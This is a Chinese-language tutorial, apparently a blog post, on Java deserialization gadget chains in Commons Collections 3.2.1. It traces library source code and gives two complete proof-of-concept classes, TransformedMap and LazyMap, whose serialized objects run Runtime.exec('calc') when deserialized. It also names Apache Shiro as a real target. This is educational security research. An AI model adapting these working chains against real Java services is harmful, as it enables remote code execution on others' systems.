java序列化是将对象转换成字节序列的过程以便存储在文件,内存,输入流中。 java 反序列化就是将字节序列转换成对象的过程

其实CC链目前总共有两条链,一条是**TransformedMap**,一条是**LazyMap**,这两条链第二条是国外研究人员发现并传入国内,然后国内研究员在此基础上挖掘出的又一条利用链——**TransformedMap**。总的来说**TransformedMap**这条链是较为容易理解和实现的,而**LazyMap**这一条链利用过于复杂,理解的话会有些许的绕。

总结:

针对以上两条利用链大概有如下的一个利用流程图,readObject()作为结尾,transform()作为入口,至于为什么transform()作为入口,后文有讲解

image.png

下面开始捋一捋
前置条件:
commons collections版本:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
jdk8u65:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
rt等源码包:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

零,前置知识:

一,使用Runtime完成命令执行

  1. public static void main(String[] args) throws IOException {
  2. Runtime runtime = Runtime.getRuntime();
  3. runtime.exec("calc");
  4. }

二,使用反射完成命令执行

当然反射的话还有其他的方式完成,这里暂时就使用这一种,各位师傅自己可以弄弄其他的方法

  1. public static void main(String[] args) throws IOException {
  2. Class c=Runtime.class;
  3. Method getRuntime=c.getMethod("getRuntime", null);
  4. Runtime runtime = (Runtime) getRuntime.invoke(null, null);
  5. runtime.exec("calc");
  6. }

三,InvokeTransformer的利用方式(对Runtime不能反序列化的改进)

  1. public static void main(String[] args) throws IOException {
  2. Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
  3. Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}).transform(getRuntimeMethod);
  4. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
  5. }

四,对Runtime的优化利用

先看部分源码以便理解后面的代码

  1. public class ConstantTransformer implements Transformer, Serializable {
  2. //省略上下文只看主要代码
  3. /**
  4. * Constructor that performs no validation.
  5. * Use <code>getInstance</code> if you want that.
  6. *
  7. * @param constantToReturn the constant to return each time
  8. */
  9. public ConstantTransformer(Object constantToReturn) {
  10. super();
  11. iConstant = constantToReturn;
  12. }
  13. /**
  14. * Transforms the input by ignoring it and returning the stored constant instead.
  15. *
  16. * @param input the input object which is ignored
  17. * @return the stored constant
  18. */
  19. public Object transform(Object input) {
  20. return iConstant;
  21. }
  22. //其实从这不难看出,不论我们transform()输入和值,都是返回初始化ConstantTransformer()输入
  23. //的object值,所以就有了后文中的优化代码,这个地方很多师傅都说像留的后门,咱也不知道,咱也不清楚
  24. //省略后方代码,只看主要部分
  25. }

还有一个源码需要了解,如下

  1. public class ChainedTransformer implements Transformer, Serializable {
  2. /**
  3. * Constructor that performs no validation.
  4. * Use <code>getInstance</code> if you want that.
  5. *
  6. * @param transformers the transformers to chain, not copied, no nulls
  7. */
  8. public ChainedTransformer(Transformer[] transformers) {
  9. super();
  10. iTransformers = transformers;
  11. }
  12. /**
  13. * Transforms the input to result via each decorated transformer
  14. *
  15. * @param object the input object passed to the first transformer
  16. * @return the transformed result
  17. */
  18. public Object transform(Object object) {
  19. for (int i = 0; i < iTransformers.length; i++) {
  20. object = iTransformers[i].transform(object);
  21. }
  22. return object;
  23. }
  24. //这一段代码其实就是对transform的一个递归调用,因为上面接受transformer数组的构造器就是
  25. //一个初始化iTransformers的作用
  26. }

到此我们就可以看一下最终的一个优化结果

  1. public static void main(String[] args){
  2. Transformer[] transformers=new Transformer[]{
  3. new ConstantTransformer(Runtime.class),//这里为什么这样使用在前面有介绍,相信各位师傅一眼就能明白了
  4. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  5. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}),
  6. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  7. };
  8. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  9. //当然这个是不能直接完成命令执行的
  10. }

这时,优化后的结果还是不能直接进行命令执行的,之所以在这先讲出来,是因为不管是TransformedMap还是LazyMap他们的前半部分都是一致的,只是从xxxxMap的选择到readObject()才不是一致的,所以就先讲一下,不然后面重复讲没营养的各位师傅又不想看了,当然这个也是有视频讲解的

一,TransformedMap利用链

1,源码分析找利用链

前面我们说了一般的话要找一些危险的方法作为入口,比如exec这种,而在Commons Collections3.2.1中,在org.apache.commons.collections.functors中定义了一些功能类
image.png
有这些类都实现了Transformer的接口,所以我们可以进去看看有啥好东西没,看着这个名字的话,其实不难发现InvokeTransformerer,一看就不是个好东西,很危险,进去后,源码如下

  1. public class InvokerTransformer implements Transformer, Serializable {
  2. //部分代码省略
  3. /**
  4. * Transforms the input to result by invoking a method on the input.
  5. *
  6. * @param input the input object to transform
  7. * @return the transformed result, null if null input
  8. */
  9. public Object transform(Object input) {
  10. if (input == null) {
  11. return null;
  12. }
  13. try {
  14. Class cls = input.getClass();
  15. Method method = cls.getMethod(iMethodName, iParamTypes);
  16. return method.invoke(input, iArgs);
  17. //这里可以执行任何传入的input参数,这就很像一个任意命令执行了,所以我们就从这里找下去,看看有哪些类中调用了transform这个方法
  18. } catch (NoSuchMethodException ex) {
  19. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
  20. } catch (IllegalAccessException ex) {
  21. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  22. } catch (InvocationTargetException ex) {
  23. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  24. }
  25. }

image.png
使用右键点击方法,选择Find usages就可以看到有哪些类那些方法调用了该方法,从这里我们可以看到LazyMapTransformedMap都调用了此方法,至于DefaultedMap暂时不看,这时我们主要看TransFormedMap是如何调用的

  1. public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
  2. /**
  3. * Constructor that wraps (not copies).
  4. * <p>
  5. * If there are any elements already in the collection being decorated, they
  6. * are NOT transformed.
  7. *
  8. * @param map the map to decorate, must not be null
  9. * @param keyTransformer the transformer to use for key conversion, null means no conversion
  10. * @param valueTransformer the transformer to use for value conversion, null means no conversion
  11. * @throws IllegalArgumentException if map is null
  12. */
  13. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  14. super(map);
  15. this.keyTransformer = keyTransformer;//这一个在在checkSetValue中并没有出现,所以我们就可以吧他设置成null
  16. this.valueTransformer = valueTransformer;//这个就是我们需要构造并传入进来的变量
  17. }
  18. /**
  19. * Override to transform the value when using <code>setValue</code>.
  20. *
  21. * @param value the value to transform
  22. * @return the transformed value
  23. * @since Commons Collections 3.1
  24. */
  25. protected Object checkSetValue(Object value) {
  26. return valueTransformer.transform(value);
  27. }
  28. //checkSetValue()就调用了transform()方法
  29. //而valueTransformer就是在构造方法中进行赋值,且类型也为Transformer,相信有java基础的同学已经能大概明白反序列化的整个利用过程了
  30. }

我们继续跟进,可以看到调用checkSetValue()是在AbstractInputCheckedMapDecorator这个抽象类中的setValue()方法,这个时候肯定是找谁调用了setValue()
image.png
看到这个readObject()没,我们前面是不是说过,端点位置应该是readObject()或者危险方法啥的,既然找到这来了,其实我们的整个分析过程就结束了,我们还是看一下源码怎样吧

  1. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  2. //这里可以看到AnnotationInvocationHandler是defualt权限,只能在本类本包中访问,所以我们在使用的时候就需要想一些办法
  3. //部分代码省略,只关注主要代码
  4. AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
  5. //这个构造函数指出了我们创建对象需要使用的有哪些参数
  6. //Class<? extends Annotation> type:表名传入的应该是一个继承了Annotation的注解类
  7. //Map<String, Object> memberValues:指出我们需要传入一个map对象,结构是key的类型为String,value的类型为Object
  8. Class<?>[] superInterfaces = type.getInterfaces();
  9. if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  10. this.type = type;
  11. this.memberValues = memberValues;//记住这儿的赋值,我们在readObject()的时候会使用到
  12. }
  13. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
  14. //这一步的话基本上没啥说的,基本进入readObject()都能通过
  15. s.defaultReadObject();
  16. // Check to make sure that types have not evolved incompatibly
  17. AnnotationType annotationType = null;
  18. try {
  19. //初始化AnnotationType,详细调用处理过程看图【DEBUG 1-1-1】
  20. annotationType = AnnotationType.getInstance(type);
  21. } catch(IllegalArgumentException e) {
  22. // Class is no longer an annotation type; time to punch out
  23. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  24. }
  25. //这里的话主要是获取注解类中的成员变量,什么是成员变量看图
  26. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  27. // If there are annotation members without values, that
  28. // situation is handled by the invoke method.
  29. //以上两句我们简单翻译一下就是如果注释没有成员变量,那么他的调用根据情况自由处理
  30. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  31. //这里的话是遍历我们传入的map的值
  32. String name = memberValue.getKey();//获取传入值的key,value暂时不管
  33. Class<?> memberType = memberTypes.get(name);
  34. //这一个if语句就决定了我们传入的map的值必须为传入注释的成员变量名
  35. if (memberType != null) { // i.e. member still exists
  36. Object value = memberValue.getValue();
  37. //这个获取map的value其实感觉不重要
  38. if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
  39. //至于值一句的理解我相信有java基础的基本都能看懂,对于isInstance()我们可以跟进去看一下,这里就不带大家看了,感兴趣的可以自己研究一下
  40. //然后就instanceof就主要是判断value这个值是否是ExceptionProxy的实例对象,如果是则不会进入setValue()方法,就不会完成命令执行,至于为什么,因为外面有"!"
  41. memberValue.setValue(
  42. new AnnotationTypeMismatchExceptionProxy(
  43. value.getClass() + "[" + value + "]").setMember(
  44. annotationType.members().get(name)));
  45. //很多人可能会在这存在疑问,不是应该需要在setValue()传入我们命令执行的代码吗?因为只有这样才能触发呀,但是你经过debug就会发现
  46. //其实在执行到checkSetValue()的时候,我们需要执行valueTransformer.transform(value),而具体执行时会跳转到ChainedTransformer类中执行transform的遍历
  47. //遍历的时候使用的transformers是不是是我们构造好的Transformer[]数组呢。那你肯定会想不是第一个transform()会执行传入的input嘛?前面我们说了,在ConstantTransformer中transform后返回的是一个常量
  48. //具体可以看视频介绍
  49. }
  50. }
  51. }
  52. }
  53. }

image.png
【DEBUG 1-1-1】

2,POC展示及部分理解

经过上面的介绍我相信大家多多少少有一些理解了,现在放利用poc——>无需手动控制,其实如果只是看一下怎么利用的,不需要自动执行的就不用理解AnnotationInvocationHandler,但是在生产环境中这就毫无eggs用

  1. public class TransformMapLink {
  2. public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
  3. //链式装载
  4. Transformer[] transformers=new Transformer[]{
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  7. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}),
  8. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  9. };
  10. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  11. HashMap<Object,Object> hashMap=new HashMap<>();
  12. //注意此处的value,上文我们着重讲解过为什么用value,至于aa就写个字符串准没错
  13. hashMap.put("value", "aa");
  14. //这里才是整个POC的心脏部分
  15. //因为TranformedMap被私有化了,我们外部使用只能使用decorate()方法来创建map
  16. Map outmap= TransformedMap.decorate(hashMap,null,chainedTransformer);
  17. //这里的话也是因为前文我们提到过AnnotationInvocationHandler被defualt修饰,我们外部无法调用,所以只能用反射了
  18. Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  19. //这一步其实就是获取制定的构造器
  20. Constructor invocationHandler=c.getDeclaredConstructor(Class.class,Map.class);
  21. //将私有设置成可见
  22. invocationHandler.setAccessible(true);
  23. //初始化对象
  24. Object o = invocationHandler.newInstance(Retention.class, outmap);
  25. //将对象序列化
  26. serialize(o);
  27. //将对象反序列化后执行readObject()
  28. unserialize("ser.bin");
  29. }
  30. //就是序列化操作
  31. public static void serialize(Object obj)throws IOException {
  32. ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
  33. oos.writeObject(obj);
  34. }
  35. //反序列化操作,这个其实在实际环境中是存在于shiro服务端的,他会解析序列化后的然后反序列化操作,然后就会执行readObject()方法,当然有些版本是重写了readObject()方法了的
  36. public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
  37. ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
  38. //shiro中就存在这样的结构可以看图【Shiro 1-1-1】
  39. Object obj=ois.readObject();
  40. return obj;
  41. }
  42. }

image.png
【Shiro 1-1-1】

看到这儿了,我相信各位师傅应该都明白反序列化漏洞的原理了吧,自己可以去试试
TransformedMap讲完了我们再看看稍复杂点的LazyMap的利用

二,LazyMap利用链

1,源码分析找利用链

LazyMap的话前面的分析和Transformedmap是一致的,前面我们也说了基本的一个顺序就是LazyMap调用——->InvokeTranformer继承——>Transformer
那我们经过前面的一步一步的查找讲解,这里我们就直接从LazyMap开始了
LazyMap主要源码:

  1. public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
  2. /**
  3. * Factory method to create a lazily instantiated map.
  4. *
  5. * @param map the map to decorate, must not be null
  6. * @param factory the factory to use, must not be null
  7. * @throws IllegalArgumentException if map or factory is null
  8. */
  9. public static Map decorate(Map map, Transformer factory) {
  10. return new LazyMap(map, factory);
  11. }
  12. /**
  13. * Constructor that wraps (not copies).
  14. *
  15. * @param map the map to decorate, must not be null
  16. * @param factory the factory to use, must not be null
  17. * @throws IllegalArgumentException if map or factory is null
  18. */
  19. protected LazyMap(Map map, Transformer factory) {
  20. super(map);
  21. if (factory == null) {
  22. throw new IllegalArgumentException("Factory must not be null");
  23. }
  24. this.factory = factory;
  25. }
  26. //-----------------------------------------------------------------------
  27. public Object get(Object key) {
  28. // create value for key if key is not currently in the map
  29. if (map.containsKey(key) == false) {//需要key不在map中存在
  30. Object value = factory.transform(key);//经过TransformMap的理解,是不是一眼就看出来了,这就是一个触发点
  31. map.put(key, value);
  32. return value;
  33. }
  34. return map.get(key);
  35. }
  36. // no need to wrap keySet, entrySet or values as they are views of
  37. // existing map entries - you can't do a map-style get on them.

接下来我们就需要知道谁调用了LazyMap中的get()方法了
其实根据前辈的指引,最简单的一个调用就在AnnotationInvocationHandler的invoke方法中,但是这次需要使用动态代理才能完成,那么什么是动态代理,这里咱么简单的说一下:


动态代理

  1. //创建一个接口
  2. public interface IHelloService {
  3. String sayHello(String userName);
  4. }
  5. //创建service类并实现IHelloService接口
  6. public class HelloService implements IHelloService {
  7. //对接口内的方法的一个实现
  8. @Override
  9. public String sayHello(String userName) {
  10. System.out.println(userName + " hello");
  11. return userName + " hello";
  12. }
  13. }
  14. //创建动态代理调用器
  15. public class ProxyInvocationHandler implements InvocationHandler {
  16. /**
  17. * 中间类持有委托类对象的引用,这里会构成一种静态代理关系
  18. */
  19. private Object obj ;
  20. public ProxyInvocationHandler(Object obj1){
  21. this.obj=obj1;
  22. }
  23. /**
  24. *
  25. * @param proxy 代理对象
  26. * @param method 代理方法
  27. * @param args 方法的参数
  28. * @return
  29. * @throws Throwable
  30. * 只要是动态代理就会运行invoke方法,这个是由内部进行调用的
  31. */
  32. @Override
  33. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  34. System.out.println("invoke before");
  35. //实现对具体方法的调用,至于method.invoke()的具体用法,辛苦各位师傅自行百度一下啦
  36. Object result = method.invoke(obj, args);
  37. System.out.println("invoke after");
  38. return result;
  39. }
  40. }
  41. //测试方法
  42. public class Test {
  43. public static void main(String[] args) {
  44. ProxyInvocationHandler proxyInvocationHandler = new ProxyInvocationHandler(new HelloService());
  45. //创建动态代理
  46. //其实helloService是由$Proxy0强转过来的
  47. IHelloService helloService = (IHelloService) Proxy.newProxyInstance(
  48. //指定代理对象的类加载器
  49. HelloService.class.getClassLoader(),
  50. //代理对象需要实现的接口,可以同时指定多个接口
  51. HelloService.class.getInterfaces(),
  52. //方法调用的实际处理者,代理对象的方法调用都会转发到这里
  53. proxyInvocationHandler);
  54. helloService.sayHello("王二麻子");
  55. }
  56. }

根据上面的讲解,我们就直接看POC吧

2,POC展示及部分理解

完整的poc如下:

  1. public class LazyMapLink {
  2. public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, IOException {
  3. Transformer[] transformers=new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  6. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class} , new Object[]{null,null}),
  7. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  8. };
  9. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  10. HashMap<Object,Object> hashMap=new HashMap<>();
  11. //前面的内容是一致的
  12. Map lazyMap=LazyMap.decorate(hashMap, chainedTransformer);//这就是整个的触发点
  13. Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  14. Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
  15. annotationInvocationdhdlConstructor.setAccessible(true);
  16. //因为我们说了是在AnnotationInvocationHandler的invoke方法中存在get()方法,所以前面的步骤是一样的
  17. InvocationHandler handler = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
  18. //下面这个就是一个动态代理
  19. Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
  20. Object o = annotationInvocationdhdlConstructor.newInstance(Override.class, mapProxy);
  21. serialize(o);
  22. unserialize("ser.bin");
  23. }
  24. //后面的因为上一个介绍过了这里就略过了
  25. public static void serialize(Object obj)throws IOException {
  26. ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
  27. oos.writeObject(obj);
  28. }
  29. public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
  30. ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
  31. Object obj=ois.readObject();
  32. return obj;
  33. }
  34. }

至此Commons Collections 3.2.1的利用链就讲解完成了,至于LazyMap的利用链为什么将的很潦草,想必各位师傅看着代码的相似度和数量就不用了小弟在这赘述了